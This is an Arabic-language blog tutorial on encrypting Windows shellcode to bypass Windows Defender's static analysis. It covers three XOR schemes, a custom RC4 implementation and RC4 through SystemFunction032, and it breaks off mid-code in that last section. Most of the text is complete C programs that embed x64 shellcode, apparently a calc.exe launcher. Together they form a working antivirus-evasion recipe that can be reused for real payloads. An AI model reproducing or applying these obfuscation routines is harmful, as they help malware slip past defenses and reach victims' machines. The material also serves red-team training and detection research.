Payload Encryption

HomeLab

السَّلاَمُ عَلَيْكُمْ وَرَحْمَةُ اللهِ وَبَرَكَاتُهُ

اللَّهُمَّ صَلِّ عَلَى مُحَمَّدٍ وَعَلَى آلِ مُحَمَّدٍ، كَمَا صَلَّيْتَ عَلَى إِبْرَاهِيمَ وَآلِ إِبْرَاهِيمَ، إِنَّكَ حَمِيدٌ مَجِيدٌ، وَبَارِكْ عَلَى مُحَمَّدٍ وَعَلَى آلِ مُحَمَّدٍ، كَمَا بَارَكْتَ عَلَى إِبْرَاهِيمَ وَآلِ إِبْرَاهِيمَ، إِنَّكَ حَمِيدٌ مَجِيدٌ،

Introduction

[+] فـ المقالة اللـ فاتت كُنت قولتلك فـ جملة بين قوسين تقفل الـ Windows Defender ، أو تعمل للفولدر exclusive.

[+] فـ المقالة دي بقي ، هنتكلم عن إزاي نـ bypass الـ Static Analysis بتاع الويندوز عن طريق الـ Encryption.

وهنتكلم تحديدا عن:

  1. XOR Encryption :
    1. 1.1 XOR Encryption By One Key.
      1.2 XOR Encryption By I Key.
      1.3 XOR Encryption By Multi Keys.

  2. RC4 Encryption :
    1. 2.1 RC4 Encryption Via Custom Implementation.
      2.2 RC4 Encryption Via SystemFunction032.
      2.3 RC4 Encryption Via SystemFunction033.

  3. AES Encryption
    1. 3.1 AES Encryption Via Bcrypt.lib
      3.2 AES Encryption Via Imported Files.

1. XOR Encryption :

[+] الـ XOR أو الـ Exclusive OR .. دي عملية منطقية بتشتغل ع بتّين وهما الـ 0 والـ 1 ، وبتدينا ناتج ع حسب القاعدة دي:

A XOR B (A ^ B) B A
0 0 0
1 1 0
1 0 1
0 1 1

[+] أو زي مـ كانوا بيخلونا نبصمج فـ هندسة .. لو متشابهين بـ 0 ، ولو مختلفين بـ 1.

[+] طب ليه بنستخدم XOR في الـ Encryption؟

الميزة القوية في الـ XOR إنه عكسي بطبيعته ، بمعني إن لو شغلت الـ XOR ع Data بـ key معين ، تقدر ترجع الداتا الأصلية بنفس الـ key ونفس العملية .. وده بيخليها طريقة تشفير وفك تشفير بسيطة وسريعة.

[+] أعتقد إن كل الكلام ده إنت عارفُه .. تعالي ندخل ع العملي ونشوف الطرق اللـ هنتكلم فيها:

1.1 XOR Encryption By One Key :

[+] فـ الطريقة دي بيكون معانا key واحد ثابت .. ودا فكرته إن كل بايت فـ الشيل كود بيتعملة XOR مع الكي ده .. ونفس الكي بنستخدمة عشان نشفر ونفك كمان .. يلا نبدأ فـ الخطوات:

  1. هنكريت بروجيكت جديد ، هنضيف الـ main.c ، وهنشتغل ع نفس الشيل كود بتاع المقالة اللـ فاتت (ولو مش فاكر بيعمل إيه الشيل كود ده إرجع للمقالة) .. والـ key اللـ هشتغل بية هو 0x4de1.
  2. XorByOneKey1
  3. بعد كدا محتاجين نعمل for loop ، مهمتها إنها بتعدي ع كل بايت فـ الشيل كود وتعمله XOR مع الـ key.
  4. XorByOneKey2
  5. آخر جزء الـ Main Function .. وفيها شوية داتا أطبعهم زي الـ address بتاع الشيل كود .. والعمليتين بتوع التشفير وفك التشفير.
  6. XorByOneKey3

[+] يلا بينا نـ رن الكود من الـ Local Windows Debugger.

  1. دا العنوان فـ الميموري .. ونقدر نشوف الشيل كود بتاعنا قبل مـ تتم عملية الـ Encryption:
  2. XorByOneKey4
  3. اضغط Continue ، بعدين Enter عشان تتم عملية التشفير .. بعد كدا وقف العملية وإرجع لنفس العنوان فـ الميموري هتلاقي بالفعل الشيل كود بتاعنا إتشفر.
  4. XorByOneKey5
  5. آخر حاجه .. هتعمل Continue و Enter تاني .. وقف وإرجع .. هتلاقي تم الفك بنجاح.
  6. XorByOneKey6

[+] ودي كانت أول وأسهل وأبسط طريقة .. ودا الكود النهائي:

#include <Windows.h>
#include <stdio.h>

unsigned char OurShellCode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
"\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";

unsigned char key = 0x4de1;

VOID XorByOneKey(PBYTE pOurShellCode, SIZE_T sOurShellCodeSize, BYTE bkey) {
  for (int i = 0; i < sOurShellCodeSize; i++) {
    pOurShellCode[i] = pOurShellCode[i] ^ bkey;
  }
}

int main() {
  printf("[i] ShellCode Address : 0x%p \n", OurShellCode);
  printf("[i] Press <Enter> to Encrypt .....");
  getchar();

  XorByOneKey(OurShellCode, sizeof(OurShellCode), key);
  printf("[i] Press <Enter> to Decrypt .....");
  getchar();

  XorByOneKey(OurShellCode, sizeof(OurShellCode), key);
  printf("[i] Press <Enter> to Quit .....");
  getchar();

  return 0;
}

1.2 XOR Encryption By I Key :

[+] الطريقة اللـ فاتت كان الـ key واحد وثابت .. فـ كان سهل يتعمل brute force ويتعرف الكي.

[+] تعالي نصعب الموضوع أكتر سيكا ع الـ Antivirus .. فـ الطريقة دي بقي .. الـ key بيتغير مع كل بايت ودي عن طريق إني بستخدم متغير "i" فـ الـ for loop .. بمعني إن الكي لكل بايت بيكون معتمد ع موقعه أو مكانه فين فـ الداتا .. يعني من الآخر كدا كل بايت بيتشفر بقيمة مختفلة غير التاني .. وتعالي نشوف إزاي:

  1. الخطوة الأولي المعتادة زي كل مرة .. كريت بروجيكت جديد .. ضيف الـ main.c ، وهتاخد كوبي لكل الكود اللـ فات.
  2. XorByIKey1
  3. هنعدل بس فـ الـ for loop .. وتحديدا هنزود i ع الـ key.
  4. XorByIKey2
  5. دي نقطة بديهية بس قررت أقولها .. بما إننا فـ طريقة جديدة فـ غيرت إسم الفانكشن بتاعتنا بما يناسب اللـ بنتكلم عنه .. وطبعا بالمثل هتغير الاسامي فـ التشفير والفك.
  6. XorByIKey3

[+] يلا نـ رن ونشوف:

  1. هتلاحظ إن أول قيمة بعد التشفير وهي 0x1d ، ودي نفس القيمة اللـ طلعت بالطريقة اللـ الأولي لإن مستخدمين نفس الكي .. منطقي يعني .. الإختلاف بقي فـ باقي القيم هتلاقيهم كلهم متغيرين وطبعا إنت فهمت ليه.
  2. XorByIKey4
  3. ودا كدا بعد الفك .. وهتلاقي إن الدنيا تمام.
  4. XorByIKey5

[+] ودي كانت تاني طريقة .. ودا الكود النهائي:

#include <Windows.h>
#include <stdio.h>

unsigned char OurShellCode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
"\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";

unsigned char key = 0x4de1;

VOID XorByIKey(PBYTE pOurShellCode, SIZE_T sOurShellCodeSize, BYTE bkey) {
  for (int i = 0; i < sOurShellCodeSize; i++) {
    pOurShellCode[i] = pOurShellCode[i] ^ (bkey + i);
  }
}

int main() {
  printf("[i] ShellCode Address : 0x%p \n", OurShellCode);
  printf("[i] Press <Enter> to Encrypt .....");
  getchar();

  XorByIKey(OurShellCode, sizeof(OurShellCode), key);
  printf("[i] Press <Enter> to Decrypt .....");
  getchar();

  XorByIKey(OurShellCode, sizeof(OurShellCode), key);
  printf("[i] Press <Enter> to Quit .....");
  getchar();

  return 0;
}

1.3 XOR Encryption By Multi Keys :

[+] هنصعب الموضوع أكتر .. وهنستخدم فـ الطريقة دي أكتر من key .. وفكرتها إن الـ keys دول بيلفوا ع القيم واحد واحد لحد مـ عدد الـ keys يخلص .. ويرجع يلف من الأول.

[+] بمعني إن لو عندي عدد الـ keys مثلا 4 .. معني كدا إن أول كي هيشفر أول قيمة فـ الشيل كود .. والتاني مع القيمة التانية .. والتالته والرابعة كذلك .. هنيجي بقي ع القيمة رقم 5 فـ الشيل كود .. هترجع تتشفر بالكي رقم 1 وهكذا .. ولفي بينا يا دنيااا

  1. الخطوه الأولي إنت عارفها أكيد .. تاني حاجه هنبدأ نعدل أول جزء وهو الـ key بدل واحد هيكون كذا واحد .. وفـ الحالة بتاعتي دي الكي دا { 0x04, 0x0d, 0x0e, 0x01 }
  2. XorByMultiKeys1
  3. تاني جزء هنعدل فـ الفانكشن بتاعتنا .. بحيث هنعمل for loop ، فيه متغيرين ، واحد هيلف ع الشيل كود كله والتاني ع الـ keys.
  4. XorByMultiKeys2

[+] يلا نـ رن ونشوف:

  1. ودا كدا حالة الـ Encryption:
  2. XorByMultiKeys3
  3. والـ Decryption:
  4. XorByMultiKeys4

[+] ودي كانت تالت وآخر طريقة .. ودا الكود النهائي:

#include <Windows.h>
#include <stdio.h>

unsigned char OurShellCode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
"\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";

unsigned char keys[] = { 0x04, 0x0d, 0x0e, 0x01 };

VOID XorByMultiKeys(PBYTE pOurShellCode, SIZE_T sOurShellCodeSize, PBYTE bKeys, SIZE_T skeySize) {
  for (int i = 0, j = 0; i < sOurShellCodeSize; i++, j++) {
    if (j >= skeySize) {
      j = 0;
    }
  pOurShellCode[i] = pOurShellCode[i] ^ bKeys[j];
  }
}

int main() {
  printf("[i] ShellCode Address : 0x%p \n", OurShellCode);
  printf("[i] Press <Enter> to Encrypt .....");
  getchar();

  XorByMultiKeys(OurShellCode, sizeof(OurShellCode), keys, sizeof(keys));
  printf("[i] Press <Enter> to Decrypt .....");
  getchar();

  XorByMultiKeys(OurShellCode, sizeof(OurShellCode), keys, sizeof(keys));
  printf("[i] Press <Enter> to Quit .....");
  getchar();

  return 0;
}

2. RC4 Encryption :

[+] هنتكلم ع تاني جزء معانا وهو ألجوريزم الـ RC4 أو الـ Rivest Cipher 4 .. دا نوع من أنواع التشفير بيشتغل بطريقة الـ Symmetric Key Encryption .. وده معناه إن الـ key اللـ بيشفر الداتا هو نفسه اللـ بيفك التشفير.

[+] طب شغال إزاي بقى؟

الـ RC4 بيعتمد ع إنه بيولد حاجه اسمها Keystream عشوائي ، وبعدها بياخد كل بايت من الداتا اللـ عاوز تشفرها ، ويعمل عليه XOR مع بايت من الـ key ، فينتج عندك الداتا المشفرة .. ونفس العملية بتحصل في فك التشفير، لأن XOR لو اتعمل مرتين بيرجعلك الحاجة الأصلية ، ودا عرفناه فـ الجزء اللـ اتكلمنا عنه فوق.

[+] وبيتم ع 3 مراحل:

  1. تهيئة الكي (Key Scheduling Algorithm - KSA) :
  2. ↑ الفكرة هنا إننا بنجهز حاجة اسمها S-Box ، ودي عبارة عن مصفوفة فيها القيم من 0 لـ 255 .. بعدين بنستخدم الـ key اللـ هنشفر بيه عشان نبدل القيم جوه المصفوفة بطريقة معينة.

    • هقولك مثال عشان تفهمها .. تخيل إنك فـ مدرج الكلية .. المدرج ده فيه إنت وزمايلك وعددكم 255 طالب .. كل طالب قاعد بالترتيب من أول رقم 0 لـ 255.
    • بعدين هنبدأ نستخدم الكي بتاعنا عشان نغير مكانك إنت وزمايلك بترتيب معين ع حسب الكي .. فـ إنت لو كنت فـ بداية الترتيب رقم 3 مثلا وصحبك اللـ جمبك فـ الترتيب 4 .. بعد إستخدام الكي إنت ممكن تكون 50 وصحبك 220 مثلا.
    • والهدف هنا إننا بنعمل تشتيت فـ الترتيب بحيث المصفوفة تكون عشوائية ع حسب الكي المستخدم.
  3. توليد تيار الكي (Pseudo-Random Generation Algorithm - PRGA) :
  4. ↑ دلوقتي بعد مـ خلصنا التهيئة ، بنبدأ نولد الـ Keystream .. والفكرة هنا إننا هنمشي خطوة خطوة فـ المصفوفة اللـ لسه مغيرينها ، ونستخدم القيم اللـ فيها عشان نطلع سلسلة من الأرقام العشوائية اللـ هنستخدمها فـ التشفير.

    • مثال عشان تفهمها .. تخيل إن عندك بكرة شريط ورق مكتوب عليها أرقام بطريقة عشوائية.
    • كل مرة عايز تشفر حرف ، بتاخد رقم من البكرة وتستخدمه فـ XOR مع الحرف الأصلي عشان يطلع لك حرف مشفر.
    • طب لو عايز تفك التشفير؟ كل اللـ عليك إنك تستخدم نفس بكرة الأرقام ، وتعمل XOR تاني مع النص المشفر، هيرجع للنص الأصلي بالظبط.
  5. عملية التشفير الفعلية (XOR بين الداتا وتيار الكي) :
  6. ↑ وكل الفكرة هنا إننا بنستخدم الـ XOR بين الداتا الأصلية و تيار الكي عشان ننتج النص المشفر.

RC4

2.1 RC4 Encryption Via Custom Implementation :

[+] أول طريقة معانا ، واللـ سميتها Custom Implementation ، لإن بعتمد فيها ع مصادر أكواد خارجية ودا لينك المصدر اللـ هتلاقي فيه الكود ، وأنا بس مُجرد عدلت حاجات بسيطة فـ الكود.

  1. عندنا فـ البداية struct أو structure (هيكل بيانات) إسمها Rc4Context ، ودي مهمتها إنها بتسيڤ معلومات بتجيلها من عملية الـ rc4Init و بتحتوي ع 3 حاجات:
    • i و j: دول متغيرات بيتم استخدامهم أثناء التشفير.
    • s[256]: دي مصفوفة فيها القيم من 0 لـ 255 ، وهي اللـ بيتعمل عليها التبديلات العشوائية باستخدام الكي.
    RC4-2
  2. تاني جزء ودي عملية الـ Initialization نفسها ودي اللـ بتهيئ الـ structure.
  3. void rc4Init(Rc4Context* context, const unsigned char* key, size_t length)
    دي وظيفتها إنها تجهّز RC4 باستخدام الكي اللـ هنعمل بيه التشفير أو فك التشفير .. بتاخد 3 حاجات:
    1. context: المكان اللـ هنخزن فيه بيانات الـ RC4 أثناء التشغيل.
    2. key: المفتاح اللـ هيتم استخدامه فـ التشفير.
    3. length: طول الكي (عشان نعرف نستخدمه بطريقة دائرية).
    if (context == NULL || key == NULL) return;
    لو context أو key فاضيين ، مش هنكمل لأن التشفير مستحيل يشتغل من غيرهم.
    context->i = 0; context->j = 0;
    بنبدأ بـ i و j بـ 0 عشان نضمن إن التشفير هيبدأ من الأول.
    for (i = 0; i < 256; i++) context->s[i] = i;
    هنا بنملأ المصفوفة s بالقيم من 0 لـ 255.
    for (i = 0, j = 0; i < 256; i++) {
      j = (j + context->s[i] + key[i % length]) % 256;
      temp = context->s[i];
      context->s[i] = context->s[j];
      context->s[j] = temp;
    }
    هنا بنخلط القيم فـ s باستخدام الكي ، وده اللـ بيعمل العشوائية فـ التشفير.
    RC4-3
  4. تالت جزء ودي عملية التشفير نفسها ودي بإسم rc4Cipher:
  5. void rc4Cipher(Rc4Context* context, const unsigned char* input, unsigned char* output, size_t length)
    دي الدالة اللـ بتنفذ التشفير الفعلي ، وبتاخد 4 حاجات:
    1. context: بيانات الـ RC4.
    2. input: البيانات اللـ هنشفرها أو نفك تشفيرها.
    3. output: المكان اللـ هنخزن فيه النتيجة.
    4. length: عدد البايتات اللـ هنعالجها.
    unsigned int i = context->i;
    unsigned int j = context->j;
    unsigned char* s = context->s;
    هنا بنجيب i و j و s من context عشان نشتغل بيهم.
    while (length > 0) {
      i = (i + 1) % 256;
      j = (j + s[i]) % 256;
      temp = s[i];
      s[i] = s[j];
      s[j] = temp;
    هنلف ع كل بايت فـ input ، كل مرة بنغير قيم i و j وبنبدل قيم s[i] و s[j] عشان نعمل عشوائية أكتر.
      if (input != NULL && output != NULL)
        *output = *input ^ s[(s[i] + s[j]) % 256];
    هنا بناخد بايت من البيانات الأصلية (input) ونعمله XOR مع بايت من s .. وده اللـ بيعمل التشفير أو فك التشفير ، لأن قولنا الـ XOR نفس العملية في الاتجاهين.
      input++;
      output++;
      length--;
    بعد كل خطوة ، بنروح للبايت اللـ بعده لحد مـ نخلص كل البيانات.
    context->i = i;
    context->j = j;
    فـ الآخر ، بنحفظ i و j عشان لو هنستخدم context تاني يكون بنفس الحالة اللـ وصلنالها.
    RC4-4
  6. هنضيف الشيل كود والكي اللـ اشتغلنا بيه قبل كده:
  7. RC4-5
  8. جزء الـ Main Function :
  9. size_t shellcode_len = sizeof(OurShellCode) - 1;
    بنحسب طول الـ ShellCode اللـ معانا.
    Rc4Context ctx = { 0 };
    rc4Init(&ctx, keys, sizeof(keys));
    بنجهز الـ RC4 بالكي اللـ عندنا.
    unsigned char* Ciphertext = (unsigned char*)HeapAlloc(GetProcessHeap(), 0, shellcode_len);
    بنحجز مكان فـ الميموري .. ولو مش فاكر الـ ()HeapAlloc ، إرجع لأول مقالة فـ جزء الـ Memory Management.
    ZeroMemory(Ciphertext, shellcode_len);
    دي مهمتها إنها بتصفر كل المنطقة اللـ حجزناها .. قول يعني إنها بتنظفها وتجهزها .
    rc4Cipher(&ctx, OurShellCode, Ciphertext, shellcode_len);
    ودي العملية اللـ بتشفر الشيل كود بالـ RC4.
    [+] ضيفت كذا عملية طباعة زي فـ الأول العنوان بتاع الشيل كود قبل التشفير ، وبعد التشفير .. وبطبع الشيل كود نفسه بعد مـ اتشفر.
    [+] بعد كدا ندخل ع عملية فك التشفير:
    rc4Init(&ctx, keys, sizeof(keys));
    لازم نعيد تهيئة RC4 بالكي نفسه عشان الـ context اتغير وقت التشفير.
    unsigned char* Plaintext = (unsigned char*)HeapAlloc(GetProcessHeap(), 0, shellcode_len);
    ZeroMemory(Plaintext, shellcode_len);
    بنحجز مكان تاني فـ الميموري عشان نحفظ فيه عملية فك التشفير .. وبنجهزها بالـ ZeroMemory.
    rc4Cipher(&ctx, Ciphertext, Plaintext, shellcode_len);
    بنفك التشفير بنفس الطريقة اللـ عملناها فـ التشفير.
    HeapFree(GetProcessHeap(), 0, Ciphertext);
    HeapFree(GetProcessHeap(), 0, Plaintext);
    آخر جزء وإنه بنفضي المكانين اللـ حجزناهم قبل كده .. ولو مش عارف الحتة دي إرجع للـ Memory Management فـ أول مقالة.
    RC4-6

[+] يلا نـ رن:

  1. دا كدا عنوان الشيل كود قبل عملية التشفير:
  2. RC4-7
  3. وهنا هتلاقي عنوان الشيل كود بعد عملية التشفير:
  4. RC4-8
  5. بعد عملية فك التشفير هتلاقي الشيل كود رجع زي مـ كان فـ أول عنوان ، ونجحت العملية.
  6. RC4-9

[+] ودي كانت أول طريقة فـ الـ RC4 .. ودا الكود النهائي:

#include <Windows.h>
#include <stdio.h>

typedef struct {
  unsigned int i;
  unsigned int j;
  unsigned char s[256];
} Rc4Context;

void rc4Init(Rc4Context* context, const unsigned char* key, size_t length) {
  unsigned i, j;
  unsigned char temp;

  if (context == NULL || key == NULL)
    return;

  context->i = 0;
  context->j = 0;

  for (i = 0; i < 256; i++)
    context->s[i] = i;

  for (i = 0, j = 0; i < 256; i++) {
    j = (j + context->s[i] + key[i % length]) % 256;
    temp = context->s[i];
    context->s[i] = context->s[j];
    context->s[j] = temp;
   }
}

void rc4Cipher(Rc4Context* context, const unsigned char* input, unsigned char* output, size_t length) {
  unsigned char temp;
  unsigned int i = context->i;
  unsigned int j = context->j;
  unsigned char* s = context->s;

  while (length > 0) {
     i = (i + 1) % 256;
     j = (j + s[i]) % 256;
     temp = s[i];
     s[i] = s[j];
     s[j] = temp;

    if (input != NULL && output != NULL)
       *output = *input ^ s[(s[i] + s[j]) % 256];

    input++;
    output++;
    length--;
  }

  context->i = i;
  context->j = j;
}

unsigned char OurShellCode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50"
"\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52"
"\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a"
"\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41"
"\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52"
"\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48"
"\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40"
"\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48"
"\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41"
"\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1"
"\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c"
"\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01"
"\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b"
"\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b"
"\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd"
"\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0"
"\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff"
"\xd5\x63\x61\x6c\x63\x2e\x65\x78\x65\x00";

unsigned char keys[] = { 0x04, 0x0d, 0x0e, 0x01 };

int main() {
  size_t shellcode_len = sizeof(OurShellCode) - 1;

  Rc4Context ctx = { 0 };

  printf("[i] ShellCode Plaintext Address: 0x%p\n", OurShellCode);
  printf("[i] Press <Enter> to Encrypt .....");
  getchar();
  rc4Init(&ctx, keys, sizeof(keys));

  unsigned char* Ciphertext = (unsigned char*)HeapAlloc(GetProcessHeap(), 0, shellcode_len);
  ZeroMemory(Ciphertext, shellcode_len);
  rc4Cipher(&ctx, OurShellCode, Ciphertext, shellcode_len);

  printf("[i] ShellCode Encrypted Address: 0x%p\n", Ciphertext);
  printf("[i] Encrypted ShellCode: ");
  for (size_t i = 0; i < shellcode_len; i++) {
    printf("\\x%02x", Ciphertext[i]);
  }
  printf("\n\n");

  printf("[i] Press <Enter> to Decrypt .....");
  getchar();

  rc4Init(&ctx, keys, sizeof(keys));

  unsigned char* Plaintext = (unsigned char*)HeapAlloc(GetProcessHeap(), 0, shellcode_len);
  ZeroMemory(Plaintext, shellcode_len);
  rc4Cipher(&ctx, Ciphertext, Plaintext, shellcode_len);

  printf("[i] Decrypted ShellCode: ");
  for (size_t i = 0; i < shellcode_len; i++) {
    printf("\\x%02x", Plaintext[i]);
  }
  printf("\n");

  getchar();

  HeapFree(GetProcessHeap(), 0, Ciphertext);
  HeapFree(GetProcessHeap(), 0, Plaintext);

  return 0;
}

2.2 RC4 Encryption Via SystemFunction032 :

[+] تاني طريقة وهي باستخدام دالة موجودة في مكتبة Advapi32.dll بتقدر تنفذ عملية RC4 Encryption من الـ Windows API ، إسمها SystemFunction032.

  1. أول جزء عندنا Structure إسمها USTRING ، ودي طريقة تبع الويندوز لتمثيل البيانات اللـ هنتعامل معاها ، وهي شبيهة بـ STRING بس مخصصة للـ NT API .. وبنستخدمها عشان نمرر الداتا والكي لدالة التشفير .
  2. RC4-10
  3. تاني جزء ودا تعريف SystemFunction032 .. ده نوع مخصص (typedef) بيقول إن SystemFunction032 هي دالة بترجع NTSTATUS ، وبتاخد بيانات (Data) ومفتاح (key) للتشفير أو فك التشفير.
  4. RC4-11
  5. تالت جزء ودي الدالة نفسها اللـ هتشفر وتفك .. بنستخدم GetProcAddress عشان نجيب عنوان SystemFunction032 من مكتبة Advapi32.dll ، وده عشان تشتغل ع طول من غير مـ نحتاج نعرفها مسبقا فـ الكود .. بعدين الدالة بتاخد الشيل كود والكي ، وبتستخدم الـ SystemFunction032 عشان تنفذ التشفير .. ولو حصل أي إيرور ، بنطبع رسالة فشل.
  6. RC4-12
  7. رابع جزء ودا الشيل كود والكي اللـ بنستخدمهم كل مرة.
  8. RC4-13
  9. آخر جزء وده الـ Main Function اللـ فيه بنستدعي الدوال اللـ فوق عشان نشفر الشيل كود، وبعدها نفك التشفير بنفس الكي.
  10. RC4-14

[+] يلا نـ رن :

  1. الشيل كود قبل عملية التشفير :
  2. RC4-15
  3. بعد مـ الشيل كود اتشفر :
  4. RC4-16
  5. ودا فك التشفير وكلو تمام :
  6. RC4-17

[+] ودي كانت تاني طريقة فـ الـ RC4 .. ودا الكود النهائي:

#include <Windows.h>
#include <stdio.h>

typedef struct
{
  DWORD Length;
  DWORD MaximumLength;
  PVOID Buffer;
} USTRING;

typedef NTSTATUS(NTAPI* fnSystemFunction032)(
  struct USTRING* Data,
  struct USTRING* key
);

BOOL Rc4EncryptionViaSystemFunc032(PBYTE pRc4Key, PBYTE pPayloadData, DWORD swRc4KeySize, DWORD sPayloadSize) {
  NTSTATUS STATUS = NULL;

  USTRING Data = { .Buffer = pPayloadData, .Length = sPayloadSize, .MaximumLength = sPayloadSize };
